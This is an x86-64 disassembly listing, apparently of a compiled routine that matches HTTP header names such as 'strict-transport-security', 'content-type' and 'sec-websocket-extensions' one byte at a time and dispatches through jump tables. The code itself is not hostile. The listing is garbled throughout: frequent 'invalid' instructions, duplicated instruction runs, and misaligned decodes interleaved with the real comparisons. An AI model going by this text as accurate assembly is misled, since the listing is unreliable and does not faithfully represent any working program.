sub dword [rax], eax
invalid
jns 0x14002ed42
sub eax, 0x2907850f
add byte [rax], al
test dword [rdi], eax
sub dword [rax], eax
add byte [rax + 0xf730879], al
test ebp, edi
sub byte [rax], al
add byte [rax + 0xf650979], al
test ebx, esi
sub byte [rax], al
add byte [rax + 0xf630a79], al
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x69
invalid
test ebx, ecx
sub byte [rax], al
cmp byte [rcx + 8], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x63
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0xb], 0x75
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002f51e.103
invalid
jns 0x14002ed84
imul ecx, dword [rdi], 0x28cb85
add byte [rax + 0xf740e79], al
test ecx, eax
sub byte [rax], al
cmp byte [rcx + 0xe], 0x74
jne case.0x14002f51e.103
shr dword [rax], 0
add byte [rax + 0xf790f79], al
test dword [rdi - 0x7fffffd8], esi
invalid
invalid
jns case.0x14001a36d.842
cmp byte [rcx + 0xf], 0x79
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf2d1079], al
test dword [rbp - 0x7fffffd8], ebp
sub byte [rax], al
invalid
invalid
jns 0x14002edb0
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f51e.103
sub byte [rax], al
invalid
sub eax, 0x28ad850f
add byte [rax], al
sub byte [rax], al
add byte [rax + 0xf701179], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14002f51e.103
invalid
jo 0x14002edb0
test dword [rbx - 0x7fffffd8], esp
jns 0x14002edbb
add byte [rax + 0xf6f1279], al
test dword [rcx - 0x7fffffd8], ebx
jns 0x14002edc6
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x6c
insb byte [rdi], dx
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f51e.103
sub byte [rax], al
invalid
jns 0x14002edd1
sub byte [rax], al
add byte [rax + 0xf631579], al
jns 0x14002eddc
invalid
invalid
jns 0x14002eddc
adc eax, 0x7b850f63
sub byte [rax], al
add byte [rax + 0x4179b21b], dh
mov eax, 0x16
invalid
invalid
test dword [rbx + 0x28], edi
add byte [rax], al
mov al, 0x1b
mov dl, 0x79
mov r8d, 0x16
invalid
add cl, ch
invalid
jmp 0x14002ec13
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x17
ja case.0x14002f51e.103
lea r8, [0x1401731f8]
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
test dword [rcx], edi
sub byte [rax], al
invalid
test dword [rcx], edi
sub byte [rax], al
add byte [rax + 0xf650379], al
test dword [rdi], ebp
sub byte [rax], al
add byte [rax + 0xf700479], al
test dword [0xc002ee4d], esp
jns 0x14002ee2c
cmp byte [rcx + 3], 0x65
jne case.0x14002f51e.103
je 0x14002ee38
test dword [rbx], ebx
sub byte [rax], al
add byte [rax + 0xf2d0679], al
test dword [rcx], edx
adc dword [rax], ebp
add byte [rax], al
invalid
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
adc dword [rax], ebp
add byte [rax], al
movzx edx, byte [rcx + 7]
cmp edx, 0x6c
je 0x1400314e6
mov dh, 0x51
invalid
cmp edx, 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6e
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
test edi, esp
invalid
add byte [rax], al
test edi, esp
invalid
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002f51e.103
invalid
add byte [rax], al
invalid
cmp byte [rcx + 0xb], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002f51e.103
imul ecx, dword [rdi], 0x27c985
add byte [rax + 0xf6e0d79], al
jns 0x14002ee90
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 2
mov dl, 0x67
mov r8d, 0xe
invalid
cmp byte [rcx + 0xd], 0x6e
jns 0x14002ee90
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 2
mov dl, 0x67
mov r8d, 0xe
invalid
jmp 0x14002ec13
jp 0x14002ee94
invalid
cmp byte [rcx], 0x61
jne case.0x14002f51e.103
invalid
cmpsd dword [rsi], dword [rdi]
invalid
add byte [rax], al
add byte [rax + 0xf630279], al
test dword [rbx - 0x7fffffd9], edx
jns 0x14002eebc
jne case.0x14002f51e.103
mov dword [rdi], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
test dword [rdi + 0x27], edi
add byte [rax], al
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
jns 0x14002eed2
jae 0x14002eede
test dword [rbp + 0x27], esi
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
invalid
invalid
add byte [rax + 0xf6f0879], al
test dword [rdi + 0x27], edx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x74
jne case.0x14002f51e.103
test dword [rbx + 0x27], eax
add byte [rax], al
test dword [rbx + 0x27], eax
add byte [rax], al
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f51e.103
test dword [rdi], ebp
invalid
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f51e.103
jns 0x14002ef40
invalid
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f51e.103
ja 0x14002ef6a
test ecx, ebp
add byte es:[rax], al
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f51e.103
add byte es:[rax], al
add byte es:[rax], al
movzx edx, byte [rcx + 0x15]
cmp edx, 0x6d
je 0x14003161c
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
add byte [rax], al
adc eax, 0xf6dfa83
test byte [rbp - 0x7cffffda], ah
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
add byte [rax], al
cmp edx, 0x68
jne case.0x14002f51e.103
movsd dword [rdi], dword [rsi]
add byte es:[rax], al
add byte [rax], al
add byte [rax], al
cmp edx, 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 0x16], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
cmp byte [rcx + 0x17], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x18], 0x64
jne case.0x14002f51e.103
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f51e.103
jns 0x14002efba
jne case.0x14002f51e.103
cmp byte [rcx + 0x1a], 0x72
jne case.0x14002f51e.103
mov al, 6
jmp 0x14003163c
movzx edx, byte [rcx]
mov dh, 0x11
adc dword [rbx - 0x7bf08a06], eax
cmc
adc dword [rax], eax
add byte [rbx - 0x7af08c06], al
jnp 0x14002eff2
cmp edx, 0x75
je 0x1400301ba
cmp edx, 0x73
jne case.0x14002f51e.103
invalid
add byte es:[rax], al
add byte [rax], al
add byte [rax + 0xf740179], al
cmp byte [rcx + 1], 0x74
jns 0x14002efd2
je 0x14002efe2
jne case.0x14002f51e.103
test dword [rcx + 0x26], esi
jno 0x14002effc
add byte [rax], al
cmp byte [rcx + 2], 0x72
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x69
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf630479], al
test dword [rbx + 0x26], edx
add byte [rax], al
jne case.0x14002f51e.103
push rbx
add byte es:[rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002f51e.103
test dword [rcx + 0x26], ecx
add byte [rax], al
test dword [rcx + 0x26], ecx
add byte [rax], al
add byte es:[rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x74
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 8], 0x72
jne case.0x14002f51e.103
jb 0x14002f028
test dword [rbx], ebp
add byte es:[rax], al
cmp byte [rcx + 9], 0x61
jne case.0x14002f51e.103
jns 0x14002f02a
invalid
cmp byte [rcx + 0xa], 0x6e
jne case.0x14002f51e.103
or ch, byte [rsi + 0xf]
test dword [rdi], edx
add byte es:[rax], al
cmp byte [rcx + 0xb], 0x73
jne case.0x14002f51e.103
jns 0x14002f040
jae 0x14002f046
test dword [0xc002f063], ecx
or eax, 0x80000026
cmp byte [rcx + 0xc], 0x70
jns 0x14002f04b
jo 0x14002f050
jne case.0x14002f51e.103
test dword [rbx], eax
add byte es:[rax], al
cmp byte [rcx + 0xd], 0x6f
jne case.0x14002f51e.103
invalid
test ecx, edi
and eax, 0x79800000
invalid
invalid
jns 0x14002f061
add byte [rax + 0xf720e79], al
test edi, ebp
and eax, 0x79800000
add byte [rax + 0xf740f79], al
cmp byte [rcx + 0xe], 0x72
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf740f79], al
cmp byte [rcx + 0xf], 0x74
jne case.0x14002f51e.103
invalid
test ebp, esp
and eax, 0x79800000
add byte [rax + 0xf2d1079], al
test ebx, ebx
invalid
add byte [rax], al
add byte [rax + 0xf2d1079], al
test ebx, ebx
and eax, 0x79800000
adc dword [rbx + 0xf], esi
test ecx, edx
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x11], 0x73
jne case.0x14002f51e.103
invalid
add byte [rax], al
and eax, 0x79800000
adc ah, byte [rbp + 0xf]
test edi, eax
cmp byte [rcx + 0x12], 0x65
jne case.0x14002f51e.103
invalid
add byte [rax], al
and eax, 0x79800000
adc esp, dword [rbx + 0xf]
test dword [rbp - 0x7fffffdb], edi
jns 0x14002f0a3
cmp byte [rcx + 0x13], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 0x14], 0x75
jne case.0x14002f51e.103
jne 0x14002f0a0
test dword [rbx - 0x7fffffdb], esi
jns 0x14002f0ae
jb 0x14002f0aa
test dword [rcx - 0x7fffffdb], ebp
cmp byte [rcx + 0x16], 0x69
jne case.0x14002f51e.103
jns 0x14002f0b9
imul ecx, dword [rdi], 0x259f85
add byte [rax + 0xf741779], al
jns 0x14002f0c4
je 0x14002f0be
cmp byte [rcx + 0x17], 0x74
jns 0x14002f0c4
je 0x14002f0be
jne case.0x14002f51e.103
test dword [rbp - 0x4fffffdb], edx
mov dl, 0x79
invalid
add byte [rax + 0x4179b242], dh
mov al, 0x42
mov dl, 0x79
invalid
jns 0x14002f0fa
mov r8d, 0x18
mov eax, 0x18
jmp 0x14002ec13
push rax
sti
invalid
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x6d
je 0x1400302af
cmp edx, 0x63
jne case.0x14002f51e.103
movzx edx, byte [rcx + 1]
cmp edx, 0x61
je 0x140031284
invalid
add byte [rax], al
add byte [rbx - 0x7af09006], al
pop rbx
and eax, 0x79800000
add ch, byte [rsi + 0xf]
test dword [rcx + 0x25], edx
add byte [rax], al
invalid
cmp edx, 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf740379], al
test dword [rdi + 0x25], eax
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
add byte [rax], al
add esi, dword [rdi + rcx - 0x7b]
and eax, 0x79800000
add byte [rax], al
invalid
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x65
add al, 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
invalid
add byte [rax], al
and eax, 0x79800000
invalid
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
invalid
invalid
add byte [rax], al
sub dword [0x1b982f122], esp
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x79
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x70
jne case.0x14002f51e.103
jns 0x14002f14b
jo 0x14002f152
test dword [rcx], eax
and eax, 0x1db00000
invalid
mov al, 0x1d
mov dl, 0x65
mov r8d, 0xb
mov r8d, 0xb
jmp 0x14002ec13
cmp byte [rcx], 0x61
jne case.0x14002f51e.103
test ecx, ebp
and al, 0
invalid
test ecx, ebp
and al, 0
add byte [rax + 0xf630179], al
test edi, ebx
and al, 0
add byte [rax + 0xf630279], al
test ebp, edx
and al, 0
add byte [rax + 0xf650379], al
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 4], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
jns 0x14002f19b
sub eax, 0x24ad850f
add byte [rax], al
add byte [rax + 0xf630779], al
test dword [rbx - 0x7fffffdc], esp
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
cmp byte [rcx + 8], 0x6f
jns 0x14002f1b1
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002f1bc
outsb dx, byte [rsi]
jne case.0x14002f51e.103
or dh, byte [rdi + rcx - 0x7b]
test dword [rax + rax], esp
add byte [rax + 0xf720b79], al
test dword [rbx + 0x24], edi
jnp 0x14002f1f0
jnp 0x14002f1f0
add byte [rax], al
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf2d0e79], al
test dword [rbp + 0x24], ebx
add byte [rax], al
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0xf], 0x61
jne case.0x14002f51e.103
cmp byte [rcx + 0x10], 0x6c
jns 0x14002f209
insb byte [rdi], dx
jne case.0x14002f51e.103
and al, 0
add byte [rax + 0xf6c1179], al
test dword [rdi], edi
and al, 0
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002f51e.103
add byte [rax + 0xf6f1279], al
test dword [0xc002f239], esi
jns 0x14002f22a
cmp byte [rcx + 0x12], 0x6f
jne case.0x14002f51e.103
cmp byte [rcx + 0x13], 0x77
jne case.0x14002f51e.103
test dword [rbx], ebp
and al, 0
invalid
ja 0x14002f228
test dword [rbx], ebp
and al, 0
add byte [rax + 0xf2d1479], al
test dword [rcx], esp
and al, 0
add byte [rax + 0xf631579], al
test dword [rdi], edx
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002f51e.103
cmp byte [rcx + 0x15], 0x63
jne case.0x14002f51e.103
adc eax, 0x17850f63
and al, 0
add byte [rax + 0xf721679], al
jns 0x14002f24b
jb 0x14002f246
cmp byte [rcx + 0x16], 0x72
jns 0x14002f24b
jb 0x14002f246
jne case.0x14002f51e.103
test dword [0xc002f261], ecx
jns 0x14002f256
add byte [rax + 0xf651779], al
cmp byte [rcx + 0x17], 0x65
jne case.0x14002f51e.103
test dword [rbx], eax
and al, 0
invalid
jne case.0x14002f51e.103
test dword [rbx], eax
and al, 0
add byte [rax + 0xf641879], al
cmp byte [rcx + 0x18], 0x64
jne case.0x14002f51e.103
invalid
test ecx, edi
and eax, dword [rax]
add byte [rax + 0xf651979], al
test edi, ebp
cmp byte [rcx + 0x19], 0x65
jne case.0x14002f51e.103
and eax, dword [rax]
invalid
out dx, eax
and eax, dword [rax]
add byte [rax + 0xf6e1a79], al
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0x1b], 0x74
invalid
cmp byte [rcx + 0x1a], 0x6e
outsb dx, byte [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 0x1b], 0x74
jne case.0x14002f51e.103
and eax, dword [rax]
invalid
test ebx, ebx
and eax, dword [rax]
add byte [rax + 0xf691c79], al
test ecx, edx
and eax, dword [rax]
add byte [rax + 0xf611d79], al
jns 0x14002f298
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 0x1e], 0x6c
invalid
add byte [rax], al
cmp byte [rcx + 0x1c], 0x69
jne case.0x14002f51e.103
cmp byte [rcx + 0x1d], 0x61
jne case.0x14002f51e.103
jns 0x14002f298
invalid
cmp byte [rcx + 0x1e], 0x6c
jns 0x14002f2a3
insb byte [rdi], dx
jne case.0x14002f51e.103
test dword [rbp - 0x4fffffdd], edi
add eax, 0xb84173b2
invalid
mov al, 5
mov dl, 0x73
mov r8d, 0x1f
add byte [rax], al
add byte [rax], al
jmp 0x14002ec13
stc
invalid
cmp byte [rcx], 0x73
jne case.0x14002f51e.103
add byte [rax + 0xf650179], al
test dword [rbx - 0x7fffffdd], ebx
jns 0x14002f2b3
jns 0x14002f2a8
jne case.0x14002f51e.103
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
invalid
invalid
test dword [rcx - 0x7fffffdd], edx
jns 0x14002f2be
add byte [rax + 0xf2d0379], al
test dword [rdi - 0x7fffffdd], eax
jns 0x14002f2c9
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
sub eax, 0x2387850f
xchg dword [rbx], esp
add byte [rax], al
cmp byte [rcx + 4], 0x77
jne case.0x14002f51e.103
ja 0x14002f2d6
test dword [rbp + 0x23], edi
add byte [rax], al
and eax, dword [rax]
add byte [rax + 0xf650579], al
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002f51e.103
cmp byte [rcx + 7], 0x73
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf6f0879], al
test dword [rbp + 0x23], edx
add byte [rax], al
cmp byte [rcx + 8], 0x6f
jns 0x14002f2f5
outsd dx, dword [rsi]
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
jns 0x14002f300
invalid
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
and eax, dword [rax]
invalid
or ch, byte [rbx + 0xf]
test dword [rcx + 0x23], eax
and eax, dword [rax]
invalid
and eax, dword [rax]
add byte [rax + 0xf650b79], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
test dword [rdi], esi
and eax, dword [rax]
add byte [rax + 0xf740c79], al
test dword [0xc002f340], ebp
jns 0x14002f32c
cmp byte [rcx + 0xc], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
test dword [rbx], esp
and eax, dword [rax]
invalid
sub eax, 0x2323850f
add byte [rax], al
test dword [rbx], esp
and eax, dword [rax]
add byte [rax + 0xf650e79], al
test dword [rcx], ebx
and eax, dword [rax]
cmp byte [rcx + 0xe], 0x65
jne case.0x14002f51e.103
invalid
sbb dword [rbx], esp
add byte [rax], al
invalid
add byte [rax + 0xf780f79], al
test dword [rdi], ecx
cmp byte [rcx + 0xf], 0x78
jne case.0x14002f51e.103
and eax, dword [rax]
add byte [rax + 0xf741079], al
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
cmp byte [rcx + 0x10], 0x74
jne case.0x14002f51e.103
adc byte [rdi + rcx - 0x7b], dh
add eax, 0x80000023
cmp byte [rcx + 0x11], 0x65
jne case.0x14002f51e.103
and al, byte [rax]
invalid
jns case.0x14002ebfe.114
jne case.0x14002f51e.103
and al, byte [rax]
add byte [rax + 0xf6e1279], al
cmp byte [rcx + 0x12], 0x6e
jne case.0x14002f51e.103
test ecx, esi
and al, byte [rax]
invalid
test ecx, esi
and al, byte [rax]
add byte [rax + 0xf731379], al
cmp byte [rcx + 0x13], 0x73
invalid
cmp byte [rcx + 0x13], 0x73
jne case.0x14002f51e.103
jns 0x14002f36e
jae 0x14002f36c
test edi, esp
and al, byte [rax]
add byte [rax + 0xf691479], al
test ebp, ebx
frstor dword [rdx]
add byte [rax], al
cmp byte [rcx + 0x15], 0x6f
invalid
test ebx, edx
cmp byte [rcx + 0x14], 0x69
jne case.0x14002f51e.103
frstor dword [rdx]
add byte [rax], al
cmp byte [rcx + 0x15], 0x6f
jne case.0x14002f51e.103
add byte [rax], al
adc eax, 0xd3850f6f
and al, byte [rax]
add byte [rax + 0xf6e1679], al
jns 0x14002f38f
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
add byte [rax], al
cmp byte [rcx + 0x16], 0x6e
jns 0x14002f38f
outsb dx, byte [rsi]
jne case.0x14002f51e.103
mov al, 0x3c
mov dl, 0x73
mov r8d, 0x17
add byte [rax], al
add cl, ch
test al, bh
invalid
jmp 0x14002ec13
movzx edx, byte [rcx]
mov dh, 0x11
cmp edx, 0x63
je 0x14003031a
cmp edx, 0x61
jne case.0x14002f51e.103
cli
invalid
cmp byte [rcx + 1], 0x63
jns 0x14002f3a8
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 4], 0x70
jne case.0x14002f51e.103
invalid
add byte [rax + 0xf700479], al
test dword [rbp + 0x22], edi
add byte [rax], al
invalid
add byte [rax + 0xf740579], al
test dword [rbx + 0x22], esi
add byte [rax], al
cmp byte [rcx + 5], 0x74
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002f51e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf630779], al
test dword [rdi + 0x22], ebx
and al, byte [rax]
invalid
cmp byte [rcx + 7], 0x63
jne case.0x14002f51e.103
and al, byte [rax]
invalid
and al, byte [rax]
add byte [rax + 0xf680879], al
test dword [rbp + 0x22], edx
add byte [rax], al
cmp byte [rcx + 8], 0x68
jne case.0x14002f51e.103
cmp byte [rcx + 9], 0x61
jne case.0x14002f51e.103
test dword [rbx + 0x22], ecx
add byte [rax], al
test dword [rbx + 0x22], ecx
add byte [rax], al
cmp byte [rcx + 0xa], 0x72
jne case.0x14002f51e.103
test dword [rcx + 0x22], eax
add byte [rax], al
invalid
test dword [rcx + 0x22], eax
add byte [rax], al
invalid
add byte [rax + 0xf730b79], al
cmp byte [rcx + 0xb], 0x73
jne case.0x14002f51e.103
test dword [rdi], esi
and al, byte [rax]
add byte [rax + 0xf650c79], al
jns 0x14002f421
jne case.0x14002f51e.103
invalid
cmp byte [rcx + 0xc], 0x65
jne case.0x14002f51e.103
jns 0x14002f421
jne case.0x14002f51e.103
mov al, 1
mov dl, 0x74
je 0x14002f462
mov eax, 0xd
add dword [rdx + 0xdb84174], esi
je 0x14002f462
mov eax, 0xd
add byte [rax], al
add cl, ch
call 0xc102f423
invalid
invalid
cmp byte [rcx], 0x73
invalid
jmp 0x14002ec13
invalid
cmp byte [rcx], 0x73
jne case.0x14002f51e.103
test dword [0xc002f457], edx
jns case.0x14002c4db.58
jne case.0x14002f51e.103
jne case.0x14002f51e.103
and al, byte [rax]
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
invalid
cmp byte [rcx + 2], 0x63
jne case.0x14002f51e.103
jns 0x14002f443
invalid
test dword [rcx], eax
and al, byte [rax]
add byte [rax + 0xf2d0379], al
invalid
test edi, esi
cmp byte [rcx + 3], 0x2d
jne case.0x14002f51e.103
and dword [rax], eax
add byte [rax + 0xf770479], al
add al, 0x77
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x62
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x77
add al, 0x77
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 5], 0x65
jne case.0x14002f51e.103
jns 0x14002f464
jne case.0x14002f51e.103
jrcxz 0x14002f485
add byte [rax], al
cmp byte [rcx + 6], 0x62
jne case.0x14002f51e.103
test ecx, ebx
and dword [rax], eax
invalid
invalid
test ecx, ebx
and dword [rax], eax
add byte [rax + 0xf730779], al
test edi, ecx
iretd
and dword [rax], eax
add byte [rax + 0xf6f0879], al
test ebp, eax
invalid
and dword [rax], eax
add byte [rax + 0xf630979], al
cmp byte [rcx + 9], 0x63
jne case.0x14002f51e.103
invalid
jns 0x14002f49b
fldenv [rcx]
add byte [rax], al
cmp byte [rcx + 7], 0x73
jne case.0x14002f51e.103
iretd
and dword [rax], eax
invalid
iretd
cmp byte [rcx + 8], 0x6f
jne case.0x14002f51e.103
invalid
and dword [rax], eax
invalid
invalid
cmp byte [rcx + 9], 0x63
jns 0x14002f490
invalid
jne case.0x14002f51e.103
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002f51e.103
or ch, byte [rbx + 0xf]
test dword [rcx - 0x7fffffdf], esi
jns 0x14002f4a6
imul ecx, dword [rdi], 0xffffff85
mov cl, 0x21
add byte [rax], al
cmp byte [rcx + 0xb], 0x65
jne case.0x14002f51e.103
add byte [rax], al
jne case.0x14002f51e.103
and dword [rax], eax
add byte [rax], al
add byte [rax + 0xf740c79], al
test dword [rbp - 0x7fffffdf], ebx
add byte [rax], al
invalid
jns 0x14002f4bc
cmp byte [rcx + 0xc], 0x74
or al, 0x74
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 0xd], 0x2d
jne case.0x14002f51e.103
invalid
sub eax, 0x2193850f
add byte [rax], al
add byte [rax + 0xf760e79], al
test dword [rcx - 0x7fffffdf], ecx
and dword [rax], eax
invalid
invalid
jns 0x14002f4d2
cmp byte [rcx + 0xe], 0x76
jne case.0x14002f51e.103
and dword [rax], eax
invalid
invalid
mov dword [rcx], esp
add byte [rax], al
and dword [rax], eax
add byte [rax + 0xf650f79], al
test dword [rdi + 0x21], edi
jg case.0x14002de35.8
cmp byte [rcx + 0xf], 0x65
jne case.0x14002f51e.103
jg case.0x14002de35.8
add byte [rax], al
jne case.0x14002f51e.103
jg case.0x14002de35.8
add byte [rax], al
cmp byte [rcx + 0x10], 0x72
jne case.0x14002f51e.103
jne 0x14002f4f3
add byte [rax], al
jne 0x14002f4f3
add byte [rax], al
cmp byte [rcx + 0x11], 0x73
jne case.0x14002f51e.103
cmp byte [rcx + 0x12], 0x69
jne case.0x14002f51e.103
test dword [rcx + 0x21], esp
add byte [rax], al
cmp byte [rcx + 0x13], 0x6f
jns 0x14002f4fe
adc ebp, dword [rdi + 0xf]
test dword [rdi + 0x21], edx
add byte [rax], al
invalid
outsd dx, dword [rsi]
jne case.0x14002f51e.103
mov al, 0x3f
mov dl, 0x6e
mov r8d, 0x14
invalid
jmp 0x14002ec13
idiv edi
dec dword [rdi]
mov dh, 0x11
invalid
movzx edx, byte [rcx]
add edx, 0xffffff9c
pushfq
cmp edx, 0x12
ja case.0x14002f51e.103
cli
adc cl, byte [rdi]
xchg dword [rcx], edi
and dword [rax], eax
add byte [rbp + rcx*4 + 5], cl
sar dword [rbx], 0x14
add byte [rcx + 0x63], cl
invalid
adc al, 0x90
add byte [rax], al
lea r8, [0x1401730d8]
movsxd rdx, dword [r8 + rdx*4]
invalid
adc al, 0x90
invalid
add rdx, r8
jmp rdx
cmp byte [rcx + 1], 0x61
add dword [rcx + 0xf], esp
test dword [rdi], ebx
jne case.0x14002f51e.103
and dword [rax], eax
add byte [rax + 0xf740279], al
jns 0x14002f52f
je 0x14002f53e
cmp byte [rcx + 2], 0x74
jne case.0x14002f51e.103
invalid
jns 0x14002f52f
je 0x14002f53e
test dword [0xf002f556], edx
and byte [rdx + 0x3b84165], dh
add byte [rax], al
add cl, ch
sal dh, 1
idiv bh
mov al, 0x20
mov dl, 0x65
mov r8d, 3
jmp 0x14002ec13
idiv bh
inc dword [rax - 0x7af09cc7]
cmp byte [rcx], 0x63
jne case.0x14002f51e.103
std
and byte [rax], al
invalid
std
and byte [rax], al
add byte [rax + 0xf6f0179], al
cmp byte [rcx + 1], 0x6f
invalid
cmp byte [rcx + 1], 0x6f
add dword [rdi + 0xf], ebp
jne case.0x14002f51e.103
test ebx, esi
and byte [rax], al
add byte [rax + 0xf6e0279], al
test ecx, ebp
and byte [rax], al
add byte [rax + 0xf740379], al
invalid
cmp byte [rcx + 2], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 3], 0x74
jne case.0x14002f51e.103
test edi, ebx
and byte [rax], al
add byte [rax], al
cmp byte [rcx + 4], 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
cmp byte [rcx + 6], 0x74
invalid
add byte [rax], al
cmp byte [rcx + 4], 0x65
add al, 0x65
jne case.0x14002f51e.103
cmp byte [rcx + 5], 0x6e
jne case.0x14002f51e.103
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002f51e.103
je 0x14002f592
test ecx, eax
and byte [rax], al
add byte [rax + 0xf2d0779], al
jns 0x14002f592
sub eax, 0x20b7850f
add byte [rax], al
invalid
jns case.0x14002a5ba.71
invalid
